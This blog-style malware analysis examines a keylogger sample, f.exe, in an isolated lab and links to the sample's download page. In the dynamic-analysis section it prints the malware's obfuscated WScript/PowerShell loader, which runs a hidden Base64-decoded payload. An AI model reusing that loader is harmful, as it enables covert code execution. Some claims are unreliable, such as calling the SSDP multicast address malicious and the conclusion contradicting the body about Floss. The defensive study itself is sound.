Introduction
https://bazaar.abuse.ch/download/6b0936605c05ecd3e9658d3acfb9195893924778f3a41b2f74187de30a9af352/
I found an interesting malware sample that is called f.exe. I chose it because it was tagged as an exe, keylogger, stealer, trojan, and VKeylogger. I was curious about trying a keylogger malware.
SHA256 = 6b0936605c05ecd3e9658d3acfb9195893924778f3a41b2f74187de30a9af352
My previous malware analysis was done on adware, so I wanted more of a challenge.
The score on VirusTotal was 59/72, so I thought that this malware would be fun!
After downloading the malware sample file, I changed my network to be attached to “Internal Network” and named the network “malware-analysis-net”
I changed my Windows 10 VM IPv4 Address to “10.0.0.2” and I made the default gateway and DNS server “10.0.0.1”
Then I did a ping test on my host machine to ensure that my VM is not connected to my host.
I wanted to make sure that we could see the full network traffic potential of the malware, so I set up inetsim on my linux vm. This allows me to have a functional network, where wireshark can capture all the traffic the malware generates. Without inetsim we can’t see the C2 capability of the malware. Now we can. I won’t show the setup because it is out of the scope of the report, but you can refer to this tutorial and also use ChatGPT if you want to see the setup process.
I also disabled the shared clipboard to ensure no leakage. I have no shared folders, so I didn’t need to worry about that.
Static Analysis
I first opened HxD. The indicators “4D 5A”, “MZ”, and “This program cannot be run in DOS mode” indicate that this is a “.exe” file.
Some interesting sections of “Decoded text”:
“RSDS C:\juwihafih.pdb”
Next I used Cmder to create an output of the strings of the malware file.
I’m unsure if there is anything particularly malicious about these strings.It shows a lot of error messages in regards to the code. This could either be a problem with the malware itself, or it could be a tactic to mislead security researchers and make reverse engineering more difficult.
We then dragged and dropped the malware file into BinText.This gave us a similar view as our 2 previous tools did, except BinText was formatted the best and showed us the most string information. Looking through it, though, nothing stood out to me too much.
Using Xorsearch in Cmder we found evidence of DNS and FTP with the malware file. FTP can be used by malware to download payloads or upload stolen data.
I used Floss in Cmder but it got stuck and wouldn’t continue its analysis, so I simply closed it.
Lastly, I opened up pestudio and drag and dropped the malware into it. This tool was the most revealing. In the indicators tab, one of the indicators string> url-pattern revealed an IP address: 7.19.29.123
According to AbuseIPDB this IP belongs to the DoD (Department of Defense), which is quite interesting.
Dynamic Analysis
Before we run the malware file we open up Wireshark, Process Hacker, Regshot, and Procmon.
We proceeded by taking our 1st shot on Regshot.
When I tried to run the malware Windows Defender kept wanting to remove it. I clicked “Allow on device.” Then I was able to run it.
We waited about 5 minutes and then we went to Procmon, opened up the process tree and found our malware file. We then right clicked and applied an event filter to view the child processes of the malware.
While waiting for Procmon to create the child processes of the malware, we went to Wireshark and stopped packet capturing. Now we want to see if the malware is making any DNS or HTTP requests to any suspicious IPs, which will demonstrate persistence and attempts at C2 connection. Also, before Wireshark starts running make sure you have linux machine with inetsim running. This will ensure that Wireshark can capture genuine traffic the malware is generating.
We found a strange DNS request from the Windows 10 VM to inetsim that had thi address in the info section: 185.230.49.37.in-addr.arpa
VirusTotal showed that there was only one detected file, c2.exe, which was malicious and communicating with this IP.
AbuseIPDB showed us that the IP is from a Spanish consulting company.
Next I found my Windows 10 VM sending a request to 239.255.255.250 through the SSDP protocol.
VirusTotal confirmed that this IP is malicious.
Then I saw a very suspicious IP being contacted by my Windows 10 VM. It was 37.49.230.185.
We see that this IP was identified as a Contacted IP address on the F.exe VirusTotal analysis.
These are all instances in which our machine sent a TCP request to 37.49.230.185. Only three of the requests went through, while the rest experienced a “TCP retransmission”.
Next we went to the Task Manager to look at the Startup tab. Malware will often enable itself or other processes to run at startup to maintain persistence. We see that the malware is now a startup process.
I also saw that bindiff_config_setup.exe was a startup process. I was suspicious so looked it up in Autoruns, and saw that it is legitimate: Verified Google product.
And the timestamp is from years before we ran the malware. So, we determined this is not a malicious process. If you are unsure it's always a good idea to investigate it.
We performed the 2nd shot on Regshot and then compared the logs before and after the malware ran.
This is the output. We will focus on these sections: Keys Added, Values Added, Values Modified, Files Added
First, we will look at the “Keys added” section.
This is from the VirusTotal report on F.exe in the Behavior Section
The first key added belongs to the Persistence tactic and the Boot or Logon Autostart Execution technique, and the sub-technique is Registry Run Keys/ Startup Folder (T1547.001). The key HKLM\SOFTWARE\Microsoft\Provisioning\FirstBootRun might be used to run the malware on startup. We already saw that the malware had enabled itself to run at startup in the task manager.
The last keys added belong to the Discovery tactic and the System Information Discovery technique (T1082). The keys above indicate that the malware is probing the browser configurations, so it can understand its environment better.
Next, we are going on to the “Values added” section.
The values added belong to the Defense Evasion tactic and the Obfuscated Files or Information technique (T1027). The long string of hex values (the full length is about 7x longer than shown above) indicate data obfuscation. Malware often uses obfuscated data to hide malicious payloads or configuration data.
These values added belong to the Execution tactic and the Command and Scripting Interpreter technique, and the PowerShell subtechnique (T1059.001). This values added string contains an obfuscated PowerShell command:
x=newActiveXObject("WScript.Shell");x.Run("\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -nop -windowstyle hidden -command \"iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('"+p+"')))\"",0,1);
This PowerShell command uses Base64 encoding to obfuscate. Another major red flag is that it’s running PowerShell in hidden windows and without user or system profiles. “Iex” is often used by malware to download malicious payloads.
Conclusion
My analysis of f.exe confirmed that it is indeed a malicious malware that displays many attributes related to trojans and keyloggers. In my static analysis, I used Hxd to verify that the malware is a .exe file. Using Floss I extracted strings from the malware that show many error messages, which could be an issue with the malware itself or it could be meant to mislead researchers. F.exe generates network activity as well. Using Xorsearch, I found strings with FTP and DNS internet protocols. This indicates that the malware exfiltrates data and/or downloads payloads. Using Wireshark I found a suspicious Spanish consulting company IP (185.230.49.37) linked to malicious activity and discovered another suspicious IP address (37.49.230.185), which was marked as "Contacted IP" in VirusTotal’s behavior section. In terms of MITRE ATT&CK, the malware showed persistence by enabling itself to run at startup, utilized obfuscation with hex and PowerShell, and attempted to make a possible C2 connection through TCP requests.
No comments:
Post a Comment